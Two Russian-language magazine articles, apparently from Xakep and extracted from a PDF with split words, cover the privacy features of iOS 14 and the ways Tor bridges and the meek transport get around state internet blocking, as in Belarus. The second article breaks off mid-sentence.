к  меди ате ке.  Если  в  пре дыду щих  вер сиях  iOS  дос туп  к  меди афай лам
выдавал ся  при ложе ниям  по  прин ципу  «все  или  ничего»,  то  теперь  поль‐ 
зователь  может  выдать  при ложе нию  дос туп  ко  всей  меди ате ке  (нап ример,
для  при ложе ний  Dropbox,  OneDrive,  которые  дол жны  син хро низи ровать  все
фотог рафии с обла ком) или толь ко к отдель ным сним кам. Дос туп к отдель ным
сним кам  полезен,  если  все,  что  тебе  хочет ся  сде лать, —  это  пос лать  в  чат
кон крет ную  фотог рафию,  соз дать  ава тар ку  или  отре дак тировать  сни мок
в новом бес плат ном редак торе с зачат ками искусс твен ного интеллек та.

В  пер вую  оче редь  пос тра дают  извес тные  любите ли  про фили ровать  поль‐ 
зовате лей  по  все му  мас сиву  дос тупных  дан ных  —  вла дель цы  при ложе ний
Facebook,  Instagram  и  им  подоб ных.  Выиг рают  же  от  это го  прос тые  поль‐ 
зовате ли,  у  которых появит ся лиш ний инс тру мент, поз воля ющий про кон тро‐ 
лиро вать воз можные каналы уте чек при ват ных фото и видео.

Впро чем, слиш ком силь но радовать ся по это му поводу я бы не стал: еще в
начале  года  Apple  внед рила  прак тику  ,  которые
попада ют в  iCloud. Спра вед ливос ти ради замечу, что Microsoft, Google, Veri‐
zon, Twitter, Facebook и Yahoo точ но так же ска ниру ют попав шие к ним в обла‐ 
ко фотог рафии в поис ках ком про мети рующих матери алов.

ска ниро вания  фотог рафий

ИСПРАВЛЕНА ПРОБЛЕМА С КОНФИДЕНЦИАЛЬНОСТЬЮ БУФЕРА
ОБМЕНА
На  глав ной  стра нице,  пос вящен ной  новой  вер сии  iOS,  нет  ни  сло ва
о  замечен ной  в  пре дыду щих  вер сиях  сис темы  проб леме  с  кон фиден циаль‐ 
ностью  буфера  обме на.  Напом ню,  речь  идет  о  проб леме, 
в  начале  года  иссле дова теля ми  безопас ности  Талалом  Хай Бак ри  (Talal  Haj
Bakry) и Том ми Мис ком (Tommy Mysk). В иссле дова нии говорит ся о 53 при‐ 
ложе ниях  для  iOS,  в  том  чис ле  соци аль ной  сети  TikTok,  которые  пос тоян но
отсле жива ют содер жимое буфера обме на без какой‐либо явной при чины.

об наружен ной

Ин тересен  и  такой  момент:  рас положен ные  поб лизос ти  (на  рас сто янии
поряд ка  трех мет ров)  устрой ства, исполь зующие одну  учет ную запись Apple
ID,  могут  иметь  ,  даже  если  одно  из  этих
устрой ств — компь ютер под управле нием macOS.

уни вер саль ный  буфер  обме на

В буфер обме на могут попадать такие дан ные, как одно разо вые пароли двух‐ 
фактор ной  аутен тифика ции,  ссыл ки,  адре са,  поис ковые  зап росы,  и  мно гие
дру гие вещи, которы ми поль зователь не готов поделить ся с вла дель цами Tik‐
Tok,   и подоб ных при ложе ний.LinkedIn

В  Apple  проб лему  не  приз нали:  с  точ ки  зре ния  иде оло гии  iOS  общий
буфер  обме на  и  дол жен  быть  дос тупен  для  всех  при ложе ний  в  сис теме
без  каких‐либо  допол нитель ных  раз решений.  В  iOS  14  тем  не  менее  были
вне сены изме нения, рекомен дован ные спе циалис тами безопас ности. Теперь
сис тема выводит неболь шой бан нер, уве дом ляющий, ког да при ложе ние счи‐ 
тыва ет содер жимое буфера обме на.

Та кое количес тво бан неров, всплы вающих в вер хней час ти экра на, будет раз‐ 
дра жать поль зовате лей, а отклю чить их невоз можно: в iOS не пре дус мотре но
спе циаль ного  раз решения  для  дос тупа  к  буферу  обме на.  Поможет  здесь
либо  отказ  от  исполь зования  подоз ритель ных  при ложе ний,  пос тоян но  счи‐ 
тыва ющих  содер жимое  буфера  обме на,  либо  исполь зование  раз работ‐ 
чиками при ложе ний нового API, появив шегося в iOS 14. Новый API поз воля ет
при ложе нию узнать тип тек сто вых дан ных, которые содер жит буфер обме на,
без  дос тупа  к  содер жимому.  В  час тнос ти,  при ложе ния,  которые  ска ниру ют
буфер  обме на  в  поис ках  ссы лок  на  веб‐сай ты,  смо гут  узнать,  содер жится
в  буфере  URL  или  нет.  Таким  обра зом,  количес тво  сра баты ваний  (и,  соот‐ 
ветс твен но, бан неров‐уве дом лений) будет пос тепен но умень шать ся по мере
того, как раз работ чики будут обновлять при ложе ния.

По явле ние  нового  механиз ма  объ ясни мо:  это  реак ция  ком пании  на  уже
слу чив шееся. Apple здесь мож но толь ко пох валить: с одной сто роны, реак ция
есть, с дру гой — в сво ей излюблен ной манере ком пания не даст поль зовате‐ 
лям спря тать голову в песок, а пре дос тавит инс тру мен ты и мотиви рует испра‐ 
вить  проб лему  непос редс твен но  тех,  кто  ее  соз дал, —  раз работ чиков  при‐ 
ложе ний.

ИНДИКАТОРЫ МИКРОФОНА И КАМЕРЫ
Поль зовате ли бета‐вер сий  iOS 14 обра тили вни мание на точ ки‐инди като ры,
появ ляющиеся в вер хней час ти экра на при исполь зовании камеры или мик‐ 
рофона.  Оран жевый  инди катор  показы вает,  что  вклю чен  мик рофон,
а  зеленый  —  что  камера.  Это  работа ет  для  всех  при ложе ний,  кро ме  Siri,
которая слу шает эфир в ожи дании кодово го сло ва пос тоян но.

Та кая  инди кация  впол не  укла дыва ется  в  сов ремен ный  тренд.  Так,  во  всех
отно ситель но све жих ноут буках Macbook питание мик рофона 

 при зак рытии крыш ки, а про изво дите ли умных устрой ств (к при меру,
Google  Nest  Hub  Max  или  новый  Facebook  Portal)  встра ивают  физичес кие
перек лючате ли,  поз воля ющие  отре зать  питание  камеры  и  мик рофонов.
В отли чие от всплы вающих бан неров дос тупа к буферу обме на, цвет ные точ‐ 
ки  не  будут  раз дра жать  поль зовате лей.  Иде аль ным  же  решени ем  мог  бы
стать  цвет ной  све тоди одный  инди катор,  который  Apple,  к  сожале нию,  так
не любит.

фи зичес ки пре‐ 
рыва ется

БОЛЕЕ АКТИВНОЕ ПРОДВИЖЕНИЕ АВТОРИЗАЦИИ ЧЕРЕЗ «ВХОД С
APPLE»
«Вход с Apple» — оче ред ная попыт ка соз дать уни фици рован ный сер вис авто‐ 
риза ции,  подоб ный решени ям от Google,  Facebook или Microsoft. В отли чие
от  пос ледних,  реали зация  Apple  обла дает  как  пре иму щес тва ми  (для  вхо да
на  каж дый  сайт  или  в  при ложе ние  соз дает ся  свой  собс твен ный  уни каль ный
адрес  email,  который  поп росту  бло киру ется  при  уда лении  акка унта),  так
и недос татка ми (жес ткая при вяз ка к эко сис теме Apple). В iOS 14 Apple в оче‐ 
ред ной раз напоми нает о воз можнос ти исполь зовать «Вход с Apple» вмес то
логина и пароля и упро щает реали зацию такого перехо да для раз работ чиков
при ложе ний.  В  ком пании  ука зыва ют  на  повышен ный  уро вень  безопас ности
и  кон фиден циаль нос ти  в  срав нении  с  исполь зовани ем  одно го  и  того  же
адре са элек трон ной поч ты и оче ред ного пароля.

Есть  у  новой  сис темы  и  еще  один  под водный  камень.  В  рам ках  борь бы
с Epic Games в Apple решили заб локиро вать поль зовате лям игр воз можность
логина через «Вход с Apple».

Впро чем, на сле дующий день дей ствие бана было при оста нов лено.

Для поль зовате лей все это  выг лядит доволь но стран но. Мало  того  что нор‐ 
маль но  исполь зовать  сер вис  авто риза ции  «Вход  с  Apple»  мож но  толь ко
в  рам ках  эко сис темы  Apple  (поменял  телефон  на  Android —  регис три руй ся
заново), так еще и рис куешь потерять воз можность вой ти на сайт или в при‐ 
ложе ние? Не знаю, не знаю…

К сло ву, у некото рых кон курен тов дела обсто ят не луч ше. К при меру, Face‐
book  извес тна 
«уни вер саль ных»  уче ток. А  что бы делать это было удоб нее,  ком пания все ми
силами сго няет поль зовате лей под кры шу Facebook ID. Нап ример, все поль‐ 
зовате ли  очков  вир туаль ной  реаль нос ти Oculus 

 уже с октября.

пре дель но  воль ным  обра щени ем  с  дан ными  поль зовате лей

дол жны  будут  исполь зовать
авто риза цию через Facebook

ЛОКАЛЬНОЕ АВТОЗАПОЛНЕНИЕ КОНТАКТОВ
При  запол нении  стан дар тных  полей  в  при ложе ниях  (имя,  адрес  и  email)
у поль зовате лей iOS 14 не будет воз никать необ ходимость «поделить ся» кон‐ 
тактом.  Теперь  дос таточ но  прос то  ввес ти  имя  кон такта  из  адресной  кни ги,
и сис тема авто мати чес ки запол нит осталь ные поля. Авто запол нение работа‐ 
ет локаль но на самом устрой стве.

ЛОКАЛЬНОЕ РАСПОЗНАВАНИЕ ГОЛОСОВОГО ВВОДА
Рас позна вание  голосо вого  вво да  при  дик товке  с  исполь зовани ем  стан дар‐ 
тной кла виату ры теперь про исхо дит локаль но, на самом устрой стве. Не спе‐ 
ши  радовать ся:  нес мотря  на  то  что  надик товывать  текст  мож но  поч ти
на десят ке язы ков, рус ский в этот спи сок не вхо дит. К сло ву, в iOS 13 режим
офлай новой  дик товки  под держи вал ся  для  всех  устрой ств  (но  толь ко
для англий ско го язы ка), а новый режим «рас позна вания на устрой стве», под‐ 
держи вающий нес коль ко язы ков, тре бует iPhone Xs или более новое устрой‐ 
ство.

ПОДДЕРЖКА НОСИТЕЛЕЙ С ШИФРОВАНИЕМ APFS
По явив шееся  в  iOS  11  при ложе ние  «Фай лы»  получи ло  новую фун кци ональ‐ 
ность: теперь на устрой ствах с iOS под держи вают ся внеш ние дис ки, исполь‐ 
зующие шиф рование APFS. Для дос тупа к зашиф рован ному накопи телю дос‐ 
таточ но будет ввес ти пароль. Новая воз можность будет полез на ско рее поль‐ 
зовате лям моделей iPad, обо рудо ван ных пор том USB Type‐C.

ИЗМЕНЕНИЯ В БРАУЗЕРЕ SAFARI
Опи сан ные  выше  новов ведения  каса ются  всех  при ложе ний,  работа ющих
в сис теме. Одна ко есть и нес коль ко вещей, которые зат ронут поль зовате лей
встро енно го в iOS бра узе ра Safari.

Отчет о конфиденциальности
В Safari теперь мож но узнать, как имен но веб‐сай ты отсле жива ют поведе ние
поль зовате ля.  Инс тру мент  получил ся  дей стви тель но  инте рес ный.  Мож но
прос мотреть  информа цию  как  по  отдель ному  веб‐сай ту,  так  и  по  каж дому
кон крет ному тре керу, который пыта ется сос тавить твой про филь, отсле живая
откры тые  стра ницы.  Подоб ного  рода  ана лиз  ранее  был  дос тупен  исклю‐ 
читель но  в  сто рон них  бло киров щиках  рек ламы,  да  и  то  не  на  каж дой  плат‐ 
форме.

Это новов ведение мож но  толь ко  при ветс тво вать:  оно поз волит  поль зовате‐ 
лям луч ше осоз нать мас штаб слеж ки.

Проверка ненадежных паролей
В Safari, как и во мно гих дру гих бра узе рах, есть воз можность сох ранять и син‐ 
хро низи ровать пароли к онлай новым ресур сам. В отли чие от дру гих бра узе‐ 
ров, которые для хра нения паролей исполь зуют отдель ные базы дан ных, Sa‐
fari  обра щает ся  к  сис темно му  хра нили щу  защищен ных  дан ных  —  «Связ ке
клю чей». Имен но в ней сох раня ются пароли. За их син хро низа цию отве чает
облачная связ ка клю чей (iCloud Keychain).

Но вая воз можность Safari,  по сути, пов торя ет 
, которые хра нят ся в учет ных записях Google. В реали зации от Google

пароли про веря ются на надеж ность и уни каль ность. По резуль татам про вер‐ 
ки  сис тема  сооб щит  как  о  ком про мета ции  кон крет ных  учет ных  записей,  так
и о проб лемах со слиш ком прос тыми или дуб лиру ющи мися пароля ми. Google
даже  , на которых осно ван ана лиз.

фун кци ональ ность ана лиза
паролей

рас кры вает спи сок уте чек
Так  же  как  и  Google,  Apple  будет  све рять  сох ранен ные  поль зовате лем

пароли по спис кам уте чек. Нас коль ко мож но понять из опи сания новой фун‐ 
кции, свер ка про исхо дит без переда чи самих паролей — исклю читель но по их
хеш‐фун кци ям.

ЛИЧНЫЕ ДАННЫЕ В APP STORE
Сле дующие  две  воз можнос ти  в  iOS  14  анон сирова ны,  но  в  реаль нос ти
появят ся поз же — если появят ся вооб ще. До кон ца года на стра нице каж дого
при ложе ния в App Store дол жен воз никнуть новый раз дел,  где поль зователь
смо жет  пос мотреть,  какие  тех нологии  защиты  дан ных  исполь зуют ся  в  при‐ 
ложе нии.  Выража ясь  точ нее,  поль зователь  смо жет  узнать,  какую  имен но
информа цию собира ет при ложе ние, будь то дан ные мес тополо жения, дос туп
к  кон тактам  или  исполь зование  уни каль ного  рек ламно го  иден тифика тора.
Воз можность  нас толь ко  сырая,  что  на  момент  написа ния  этой  статьи  ее
интерфейс даже не до кон ца переве ден на рус ский язык.

Пред полага ется,  что  раз работ чики  будут  самос тоятель но  пуб ликовать  све‐ 
дения о сво ей полити ке кон фиден циаль нос ти, в  том чис ле объ яснять,  какие
пер сональ ные  дан ные  они  собира ют  и  исполь зуют  для  отсле жива ния
активнос ти  поль зовате лей  в  дру гих  при ложе ниях  и  на  веб‐сай тах.  Таким
обра зом, эта воз можность отли чает ся от авто мати чес кого ска ниро вания при‐ 
ложе ния на пред мет зап роса тех или иных раз решений. Пред положи тель но,
новая фун кци ональ ность  появит ся  в  одном  из  обновле ний  iOS  14  до  кон ца
года.

УПРАВЛЕНИЕ ОТСЛЕЖИВАНИЕМ И ПРОЗРАЧНОСТЬ
В ПРИЛОЖЕНИЯХ
Ес ли о пре дыду щем новов ведении мож но ска зать, что оно будет внед рено, то
со  сле дующей  воз можностью  такой  ясности  нет.  Речь  идет  об  управле нии
отсле жива нием при помощи встра иваемых в при ложе ния рек ламных SDK —
нап ример, SDK от Facebook.

Ис тория борь бы Apple со слеж кой со сто роны Facebook и подоб ных ком‐ 
паний длит ся со вре мен iOS 11, в которой появил ся механизм 

.  Этот  механизм  огра ничи вал  срок  дей ствия  сто рон них  cookie
24 часами, уда ляя все cookie для сай тов, которые поль зователь не откры вал
в течение 30 дней. Спус тя год в Safari появи лись  , пре дуп‐ 
режда ющие  поль зовате лей  о  том,  что  facebook.com  собира ется  уста новить
cookie,  при  нажатии  на  кноп ку  Like.  С  выходом  iOS  13.4  сто рон ние  cookie
в  Safari  ,  пре дот вра щая  таким  обра зом  спо соб
отсле жива ния, извес тный как login fingerprinting, не мешая при этом работать
сай там,  исполь зующим  для  вхо да  механизм  OAuth  2.0.  Казалось  бы,  что
может быть хуже и чем еще Apple может досадить Facebook?

Intelligent Track‐
ing  Prevention

всплы вающие окна

бло киру ют  по  умол чанию

Ока залось,  что  может.  Но  «может»  ско рее  тех ничес ки,  чем  полити чес ки.
Речь идет о пред став ленном, но не реали зован ном в финаль ной сбор ке  iOS
14 и отло жен ном до луч ших  вре мен механиз ме,  который не прос то пре дуп‐ 
реждал  бы  поль зовате ля,  что  то  или  иное  при ложе ние  отсле жива ет  его
активность,  а  еще  и  тре бовал  бы  от  раз работ чиков  при ложе ния  пред‐ 
варитель но  спра шивать  на  это  раз решение.  Спи сок  при ложе ний,  которым
поль зователь  поз волил  отсле живать  свои  дан ные,  мож но  было  бы  прос‐ 
мотреть и изме нить в нас трой ках.

Вот так выг лядит сама нас трой ка.

А так дол жен выг лядеть зап рос на отсле жива ние.

Ис точник: 9to5mac.com

С  тех ничес кой  точ ки  зре ния,  веро ятно,  речь  идет  о  зап росе  раз решения
на дос туп к уни каль ному рек ламно му иден тифика тору устрой ства (Identifier for
Advertisers,  или  IDFA).  Пред полага лось,  что  в  iOS  14  поль зователь  может
или отклю чить  IDFA сов сем, или, если это го не про изош ло,  кон тро лиро вать,
каким  при ложе ниям  доз волено  получать  дос туп  к  это му  иден тифика тору.
Одна ко даже помимо IDFA, iOS 14 дол жна была тре бовать, что бы при ложе ния
зап рашива ли раз решение на любой вид отсле жива ния или про фили рова ния
поль зовате ля. И если Facebook нет необ ходимос ти делать это в собс твен ном
при ложе нии  (там дос таточ но и дру гих механиз мов),  то сто рон ние раз работ‐ 
чики,  исполь зующие Facebook Audience Network SDK,  под падали  под  новые
пра вила  целиком  и  пол ностью.  Мало  того  что  их  зас тавили  бы  спра шивать
раз решение на слеж ку за поль зовате лем — так мно гие поль зовате ли с удив‐ 
лени ем узна ли бы о том, что за ними вооб ще сле дят. А уж пос ле того, как раз‐ 
решение на слеж ку поп росил бы вто рой десяток при ложе ний,  поль зователь
мог и отклю чить рек ламный иден тифика тор.

В  Facebook  пред почли бы,  что бы  поль зовате ли  не  задумы вались  о  таких
вещах. Джей сон Эйтин (Jason Atin) из inc.com  , что нас тоящая проб‐ 
лема Facebook не в немед ленном сок ращении доходов, которое может воз‐ 
никнуть, если люди отка жут ся от отсле жива ния. Нас тоящая проб лема, счи тает
Jason,  в  том,  что  Apple  ясно  дала  понять,  что  намере на  при открыть  завесу
над тем, в какой сте пени такие ком пании, как Facebook, собира ют и монети‐ 
зиру ют  все,  что  мы  дела ем  в  интерне те.  «Сверх при быль ная  биз нес‐модель
Facebook  ста новит ся  весь ма шат кой,  ког да  люди  начина ют  понимать,  какой
мас сив  информа ции  собира ет  ком пания  и  как  она  монети зиру ет  эту
информа цию.  В  ито ге  имен но  это  и  бес поко ит  Facebook  в  iOS  14 —  новая
вер сия сис темы дает понять, что имен но про исхо дит с пер сональ ными дан‐ 
ными поль зовате ля, и дает ему воз можность отка зать ся».

по лага ет

Ре акция Facebook  :пос ледова ла незамед литель но

Но вов ведение в iOS 14 пов лияет на спо соб ность рек ламода телей точ- 
но нас тра ивать тар гетинг и про фили ровать рек ламные кам пании в Au-
dience Network и во всех про чих рек ламных сетях. В резуль тате нуж но
ожи дать,  что  воз можнос ти  эффектив ной  монети зации  Audience  Net-
work  сни зят ся.  В  конеч ном  ито ге,  нес мотря  на  все  наши  уси лия,
обновле ния  Apple  могут  сде лать  Audience  Network  нас толь ко  неэф- 
фектив ной на iOS 14, что смыс ла пред лагать ее на iOS 14 не будет.

В кон це сво его заяв ления в Facebook мяг ко попеня ли Apple, ука зав на необ‐ 
ходимость про кон суль тировать ся с круп ными игро ками преж де, чем посягать
на их доходы.

К  Facebook  ,  опа сающиеся,  что
если  поль зовате лей  спро сить,  то  те могут  и  отка зать ся  (дос ловно —  a  high
risk of user  refusal). Доводы пред ста вите лей рек ламной индус трии ока зались
убе дитель ными: в Apple отло жили новов ведение, и  теперь, по офи циаль ной
информа ции,  управле ние  отсле жива нием  в  при ложе ниях  ста нет  обя затель‐ 
ным тре бова нием при обновле нии ПО лишь в начале 2021 года.

при соеди нились  и  дру гие  рек ламода тели

ЗАКЛЮЧЕНИЕ
Как  всег да,  замет ная  часть  добав ленных  в  iOS  механиз мов  защиты  поль‐ 
зовате ля — реак ция Apple на открыв шиеся обсто ятель ства или собс твен ная
реали зация име ющих ся у кон курен тов ана логов. Одна ко новое и инте рес ное
в iOS 14 в пла не при ват ности все же есть. Жаль, что наибо лее зна чимые нов‐ 
шес тва,  огра ничи вающие  воз можность  при ложе ний  сле дить  за  поль зовате‐ 
лем  через рек ламные SDK,  в  офи циаль ный релиз  так  и  не  вош ли:  прог ресс
в этом нап равле нии, если он вооб ще будет, мы уви дим не рань ше сле дующе‐ 
го года.
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ПРИВАТНОСТЬ

Прак тичес ки с самого начала полити чес ких
про тес тов в Белару си у поль зовате лей воз‐ 
никли  проб лемы  с  дос тупом  в  интернет.
Незави симый  про ект  OONI,  отсле жива‐ 
ющий  про явле ния  интернет‐цен зуры
по все му миру, регуляр но   мно‐ 
гочис ленные шат дауны как локаль но в сто‐ 
лице, так и на тер ритории всей рес публи ки.
Кро ме  это го,  кли енты мно гих  про вай деров
отме чали,  что  невоз можно  под клю чить ся
к  сети  Tor  даже  с  исполь зовани ем мос тов.
Вмес те  с  тем  в  архи тек туре  Tor  пре дус‐ 
мотре ны  весь ма  изощ ренные инс тру мен ты
для обхо да цен зуры,  спо соб ные про тивос‐ 
тоять  тех ничес ки  слож ным  попыт кам  бло‐ 
киро вок. О них и пой дет речь.

фик сировал

Си туация с бло киров ками Tor и интерне та в Белару си далеко не уни каль ная:
до это го с ана логич ными проб лемами  . Нес‐ 
мотря  на  то  что  при  под клю чении  к  мос там  obfs3  и  obfs4  исполь зует ся
обфусци рован ный  тра фик,  мес тным  влас тям  каким‐то  обра зом  уда валось
успешно отфиль тро вать его и бло киро вать подоб ные соеди нения. Уста новить
связь получа лось толь ко с исполь зовани ем под клю чаемо го тран спор та meek
либо при помощи тра дици онно го VPN. Так каким же обра зом работа ют в Tor
средс тва для борь бы с цен зурой и нас коль ко они эффектив ны?

стал кивались жители Венесу элы

ПОГОВОРИМ ОБ АНОНИМНОСТИ
Ес ли  верить  сло вам  соос новате ля  Tor  Project  Род жера  Динг лдай на  (Roger
Dingledine), проз вучав шим на кон ферен ции DEF CON в 2019 году, к сети Tor
ежед невно  под клю чает ся  от  2  до  8  мил лионов  поль зовате лей.  Это  вну‐ 
шитель ная ауди тория, рав ная по чис леннос ти населе нию неболь шой стра ны.
Все эти люди не прос то жела ют посещать какие‐то сай ты в дар кне те или заб‐ 
локиро ван ные пра витель ством ресур сы, они хотят оста вать ся при этом ано‐ 
ним ными.

К сожале нию, далеко не каж дый осоз нает, что шиф рование не рав но ано‐ 
ним ности.  Тра фик  шиф рует ся  при  соеди нении  с  боль шинс твом  исполь‐ 
зующих  HTTPS  сай тов,  но  прак тичес ки  любая  третья  сто рона  может  лег ко
отсле дить, к каким имен но ресур сам ты отправ ляешь зап росы и ког да имен но
ты  это  дела ешь.  Исполь зование  VPN  спо соб но  слег ка  осложнить  жизнь
«боль шому бра ту», но дотош ный иссле дова тель в сос тоянии пос тро ить граф
тво их  инте ресов  и  соци аль ных  свя зей  на  осно ве  откры тых  дан ных.  Кро ме
того, ты никог да не можешь быть пол ностью уве рен в том, что твой VPN‐про‐ 
вай дер не сли вает дан ные налево.

По это му  под  «ано ним ностью»  обыч но  понима ют,  что  поль зовате лю  уда‐ 
ется скрыть от треть их лиц:

свою геопо зицию и даже стра ну, с тер ритории которой он выходит в сеть;•
сай ты, к которым он обра щает ся;•
вре мен ные пери оды, в течение которых уста нав лива ются соеди нения;•
све дения  об  аппа рат ном  и  прог рам мном  обес печении,  которое  он
исполь зует.

•

В сво ем выс тупле нии Род жер Динг лдайн приз нался: «Друзь ям или родите лям
я  говорю,  что  работаю  в  сфе ре  ано ним ности.  Но  ког да  я  раз говари ваю
с пред ста вите лями кор пораций, я утвер ждаю, что тру жусь в области безопас‐ 
ности  ком муника ций  или  сетевой  безопас ности,  ибо  они  уве рены,  что  ано‐ 
ним ность в сов ремен ном мире мер тва». Архи тек тура Tor, в которой, во‐пер‐ 
вых,  зап росы  переда ются  через  нес коль ко  выб ранных  слу чай ным  обра зом
узлов,  бла года ря  чему  ста новит ся  невоз можно  отсле дить  мар шрут  пакетов,
а во‐вто рых, сам бра узер бло киру ет исполне ние тре кин говых скрип тов и куки,
обес печива ет  опре делен ную  сте пень  ано ним ности. Но  при  этом его мож но
заб локиро вать — как показы вает прак тика, без осо бого тру да.

КАК БЛОКИРУЮТ TOR?
По утвер жде ниям Род жера Динг лдай на, сущес тву ет четыре базовых спо соба
заб локиро вать  Tor. Пер вый  выг лядит  оче вид ным:  все го  име ется  девять  пуб‐ 
личных  катало гов  вход ных  узлов  Tor‐сети,  и,  если  зак рыть  дос туп  к  этим
катало гам,  юзе ры  не  смо гут  уста новить  соеди нение.  Вто рой  метод —  выг‐ 
рузить спи сок из поряд ка 7000 relay nodes Tor‐сети, отве чающих за перенап‐ 
равле ние тра фика, и заб локиро вать их все по IP‐адре сам.

Тре тий, не очень надеж ный, но дей ствен ный спо соб — отсле живать харак‐ 
терные  ,  то  есть  при менить  fingerprinting.  По  этим  кос‐ 
венным приз накам, харак терным для переда ваемых в Tor‐сети дан ных, мож но
нас тро ить  филь тра цию  тра фика.  При мер но  так  дей ство вало  пра витель ство
Ира на  во  вре мя  про тес тов  в  2009  году.  Для  глу бокой  инспек ции  тра фика
иран ские  влас ти  исполь зовали  .  Пакеты  Tor  по  ряду  приз наков  были
похожи  на  пакеты  SSL,  и  иран цы  с  помощью  спе циаль но  закуп ленно го
для  этих  целей  обо рудо вания  прос то  сни зили  про пус кную  спо соб ность
для  шиф рован ного  SSL‐тра фика  в  сво их  сетях,  вре мен но  сде лав  невоз‐ 
можным исполь зование Tor на тер ритории стра ны.

от печат ки  пакетов

DPI

На конец,  чет вертый  спо соб —  перек рыть  дос туп  к  ресур сам,  с  которых
конеч ные  поль зовате ли  могут  ска чать  необ ходимый  для  под клю чения  софт.
Сочета ние  этих  четырех  методик  может  дать  отличный  —  с  точ ки  зре ния
спец служб и пра витель ств — резуль тат. Но чем отве тили на это раз работ чики
Tor?

НАВОДИМ МОСТЫ
Пер вым рубежом борь бы с сетевой цен зурой стал  так называ емый под клю‐ 
чаемый тран спорт, пер вой раз новид ностью которо го были мос ты obfs3 и obf‐
s4. Идея зак люча ется в сле дующем: пос коль ку «пло хие пар ни» могут получить
пол ный  спи сок  откры тых  relay  nodes  и  заб локиро вать  дос туп  к  самим  этим
узлам или их пуб личным катало гам, в Tor‐сети были соз даны тысячи мос тов,
спи сок адре сов которых отсутс тву ет в пуб личном дос тупе.

Что бы  под клю чить ся  к  Tor  через  мост,  нуж но  перей ти  на  сайт
, выб рать тип тран спор та и ука зать, под держи вает

ли  твоя  сеть  IPv6,  ввес ти  кап чу,  получить  адрес  мос та,  а  затем  ука зать  его
в нас трой ках Tor Browser. Мож но пой ти более прос тым путем — в тех же нас‐ 
трой ках  под клю чения  зап росить  адрес мос та  с  сай та  Torproject  (сно ва  при‐ 
дет ся ввес ти кап чу). Если сайт Torproject.org заб локиро ван, мож но отпра вить
пись мо  с  пус той  темой  на  адрес  ,  написав  в  теле
сооб щения  стро ку  .  Важ ный  момент:  пись мо  нуж но
отправ лять исклю читель но с   или  , ина че оно будет про игно риро‐ 
вано.  В  ответ  спе циаль но  обу чен ный  бот  приш лет  тебе  адре са  мос тов,
которые ты смо жешь про писать в нас трой ках Tor Browser.

https://bridges.Torproject.org

bridges@Torproject.org
get  transport  obfs4

Gmail Riseup

Нас трой ка мос та в Tor Browser

По боль шому сче ту мос ты Tor исполь зуют интерфейс SOCKS Proxy и по сво ей
архи тек туре  похожи  на  китай ский  про ект  ,  нап равлен ный
на  борь бу  с  цен зурой. Мос ты  Tor  работа ют  как  обфуска торы,  которые мас‐ 
киру ют тра фик в Tor‐сети, делая его похожим на обыч ный HTTP или поток слу‐ 
чай ных бай тов, что зат рудня ет филь тра цию. Тран спорт obfs3 ока зал ся неус‐ 
той чив к активно му зон дирова нию (Active Probing) — методу поис ка адре сов
мос тов в сети с целью их бло киров ки,  поэто му ему на сме ну при шел более
совер шенный obfs4.

Shadowsocks

Пра витель ства  научи лись  бло киро вать  подоб ные  соеди нения.  Для  боль‐ 
шей  эффектив ности  активное  зон дирова ние  может  при менять ся  сов мес тно
с глу боким ана лизом тра фика. Нап ример, с исполь зовани ем DPI пра витель‐ 
ство монито рит  все  соеди нения,  похожие  на  Tor. Обна ружив  «подоз ритель‐ 
ный»  узел,  пра витель ствен ный  хост  сам  пыта ется  уста новить  с  ним  связь
через  про токол  Tor.  Если  узел  под держи вает  этот  про токол  и  отве чает,  что
явля ется мос том, его тут же бло киру ют, а его IP‐адрес заносят в чер ный спи‐ 
сок. В Китае такая филь тра ция дела ется на магис траль ном уров не, из‐за чего
бло киров ки работа ют дос таточ но эффектив но.

Сам Род жер Динг лдайн называл мос ты «дерь мовой гон кой воору жений»,
пос коль ку  пра витель ствен ные  цен зоры  научи лись  филь тро вать  тра фик  опи‐ 
сан ным  выше  методом.  Раз работ чики  Tor  в  ответ  выкаты вали  пат чи,  видо‐ 
изме няющие дан ные в пакетах и устра няющие приз наки, по которым выпол‐ 
нялась  филь тра ция,  либо  меняли  поведе ние  мос тов.  В  свою  оче редь,  пра‐ 
витель ства редак тирова ли нас трой ки филь тров, и все начина лось заново. Так
было в Ира не в пери од мас совых про тес тов, в Егип те вре мен араб ской вес‐ 
ны,  в  Тунисе  во  вре мя  револю ции  2010–2011  годов.  Пря мо  сей час  что‐то
подоб ное про исхо дит в Белару си.

Ины ми  сло вами,  при  дол жной  нас той чивос ти  пра витель ство  может  заб‐ 
локиро вать дос тупные мос ты в опре делен ном реги оне, и тог да поль зователь
при  оче ред ной  попыт ке  под клю чения  рис кует  уви деть  при мер но  такую  кар‐ 
тину.

Все мос ты раз ведены, отправ ляй тесь вплавь

Для обхо да подоб ных бло киро вок раз работ чики Tor при дума ли meek.

MEEK
В  Tor  име ется  еще  один  под клю чаемый  тран спорт  под  наз вани ем  ,
который может сра ботать в слу чае, если мос ты заб локиро ваны. Его прин цип
дей ствия тоже чем‐то напоми нает прок си, но в качес тве про межу точ ного зве‐ 
на  для  переда чи  тра фика  исполь зуют ся  облачные  сер веры Amazon, Content
delivery network, Google, CloudFront или Microsoft Azure. Рас чет дела ется на то,
что  вво дящее  цен зуру  пра витель ство,  если  оно  в  сво ем  уме,  никог да  пол‐ 
ностью не заб локиру ет CDN, AWS, Azure и им подоб ные сер висы, пос коль ку
эти  обла ка  исполь зует  огромное  количес тво  раз личных  интернет‐ресур сов,
которые  в  этом  слу чае  прос то  перес танут  работать.  Но  на  здра вомыс лие
некото рых госс трук тур рас счи тывать, впро чем, доволь но‐таки наив но. Порой
они  спо соб ны  обру шить  полови ну  наци ональ ного  сег мента  сети  в  погоне
за  одним‐единс твен ным  непос лушным  мес сен дже ром,  заб локиро вать
который в ито ге все рав но не получи лось.

meek

Под клю чить  meek  очень  прос то:  при  запус ке  Tor  Browser  нуж но  нажать
на кноп ку Configure, уста новить фла жок Tor is censored in my country, а затем,
выс тавив перек лючатель в позицию Select a built‐in bridge, выб рать в выпада‐ 
ющем спис ке тран спорт meek.

Тран спорт meek — работа ет даже в Китае

Meek исполь зует в работе тех нику под наз вани ем  . Для соеди‐ 
нения  с  целевым  узлом  в  интерне те  кли ент  meek  генери рует  спе циаль ные
HTTPS‐зап росы  и  отправ ляет  их  незаб локиро ван ному  «внеш нему»  сер вису,
нап ример CDN  или  AWS. Это  «внеш нее»  имя  отоб ража ется  в  DNS‐зап росе
и дан ных, исполь зуемых про токо лом  . А вот реаль‐ 
